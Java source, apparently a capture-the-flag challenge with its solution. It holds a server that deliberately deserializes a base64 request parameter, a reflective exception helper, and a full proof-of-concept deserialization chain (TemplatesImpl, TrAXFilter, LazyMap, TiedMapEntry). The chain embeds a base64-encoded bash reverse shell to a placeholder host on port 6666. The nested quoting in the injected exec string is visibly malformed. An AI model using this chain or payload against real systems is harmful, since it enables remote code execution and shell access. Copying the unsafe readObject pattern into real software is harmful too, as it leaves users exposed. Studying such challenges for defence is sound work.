package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
  private Class[] typeparam;
  private Object[] typearg;
  private Class targetclass;
  public String name;
  public String anyexcept;
  
  public Class getTargetclass() {
    return this.targetclass;
  }
  public void setTargetclass(Class targetclass) {
    this.targetclass = targetclass;
  }
  public Object[] getTypearg() {
    return this.typearg;
  }
  public void setTypearg(Object[] typearg) {
    this.typearg = typearg;
  }
  public Object getAnyexcept() throws Exception {
    Constructor con = this.targetclass.getConstructor(this.typeparam);
    return con.newInstance(this.typearg);
  }
  public void setAnyexcept(String anyexcept) {
    this.anyexcept = anyexcept;
  }
  public Class[] getTypeparam() {
    return this.typeparam;
  }
  public void setTypeparam(Class[] typeparam) {
    this.typeparam = typeparam;
  }
  public String getName() {
    return this.name;
  }
  public void setName(String name) {
    this.name = name;
  }
}

package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import cn.hutool.http.server.HttpServerRequest;
import cn.hutool.http.server.HttpServerResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
  public static void main(String[] args) {
    HttpUtil.createServer(8888)
      .addAction("/", (request, response) -> {
          String bugstr = request.getParam("bugstr");
          String result = "";
          if (bugstr == null)
            response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString()); 
          try {	// base64解码转化为对象流后直接进行了readObject
            byte[] decode = Base64.getDecoder().decode(bugstr);
            ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
            Object object = inputStream.readObject();
            result = object.toString();
          } catch (Exception e) {
            Myexpect myexpect = new Myexpect();
            myexpect.setTypeparam(new Class[] { String.class });
            myexpect.setTypearg((Object[])new String[] { e.toString() });
            myexpect.setTargetclass(e.getClass());
            try {
              result = myexpect.getAnyexcept().toString();
            } catch (Exception ex) {
              result = ex.toString();
            } 
          } 
          response.write(result, ContentType.TEXT_PLAIN.toString());
        }).start();
  }
}

package com.app;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.Base64;
import java.util.HashMap;
import java.lang.reflect.Field;

public class POC {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getTemplates();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "2");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});

        JSONObject jsonObject = new JSONObject();
        ConstantTransformer transformer = new ConstantTransformer(1);
        LazyMap lazyMap  = (LazyMap) LazyMap.decorate(jsonObject, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "2");
        jsonObject.remove("111");
        setFieldValue(transformer, "iConstant", myexpect);
        byte[] serbyte =serialize(hashMap);

        System.out.println(Base64.getEncoder().encodeToString(serbyte));
    }
    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Chiikawa");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMtaXAvNjY2NiAwPiYgMQ==}|{base64,-d}|{bash,-i})\")";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
}